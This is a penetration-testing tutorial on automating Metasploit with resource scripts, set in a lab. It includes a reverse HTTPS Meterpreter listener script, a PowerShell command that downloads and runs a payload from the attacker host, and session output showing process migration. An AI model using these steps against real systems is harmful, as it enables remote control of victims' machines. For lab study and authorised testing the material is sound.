Metasploit allows for workflow automation using Resource Scripts (.rc files). These are simple text files containing Metasploit console commands, which can also include Ruby code, to automate tasks—ideal for repetitive penetration testing actions.
Listener Setup
Instead of manually setting up a handler every time we expect a reverse shell, we can create an .rc file:
listener.rc
# Set up a reverse HTTPS Meterpreter handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.45.232
set LPORT 443
# Auto-run a post module upon session creation
set AutoRunScript post/windows/manage/migrate
# Keep the listener alive after sessions close
set ExitOnSession false
# Start the handler in background mode
run -z -j
When we use the script, it launches the listener and prepares it to automatically migrate the session to another process once a connection is made.
$ sudo msfconsole -q -r listener.rc
[*] Processing listener.rc for ERB directives.
resource (listener.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (listener.rc)> set PAYLOAD windows/meterpreter_reverse_https
PAYLOAD => windows/meterpreter_reverse_https
resource (listener.rc)> set LHOST 192.168.45.232
LHOST => 192.168.45.232
resource (listener.rc)> set LPORT 443
LPORT => 443
resource (listener.rc)> set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
resource (listener.rc)> set ExitOnSession false
ExitOnSession => false
resource (listener.rc)> run -z -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://192.168.45.232:443
# Tansfering and triggering the payload from target
PS C:\Users\justin> iwr -uri http://192.168.45.232/met.exe -OutFile met.exe PS C:\Users\justin> .\met.exe.
# Payload connects
[*] Session ID 1 (192.168.45.232:443 -> 192.168.241.202:58591) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against BRUTE2
[*] Current server process: met.exe (5240)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 6040
[+] Successfully migrated into process 6040
[*] Meterpreter session 1 opened (192.168.45.232:443 -> 192.168.241.202:58591) at 2025-04-24 12:55:10 +0300
Metasploit ships with many prebuilt .rc scripts.
$ ls /usr/share/metasploit-framework/scripts/resource/
autoexploit.rc – automatically exploit known vulnerabilities
auto_cred_checker.rc – brute force credential testing
basic_discovery.rc – basic network recon
run_all_post.rc – run all available post modules
smb_checks.rc – check for SMB vulnerabilities
When planning to use multiple modules, we can define options globally across all modules. This is more flexible than set, which applies only to the current module.
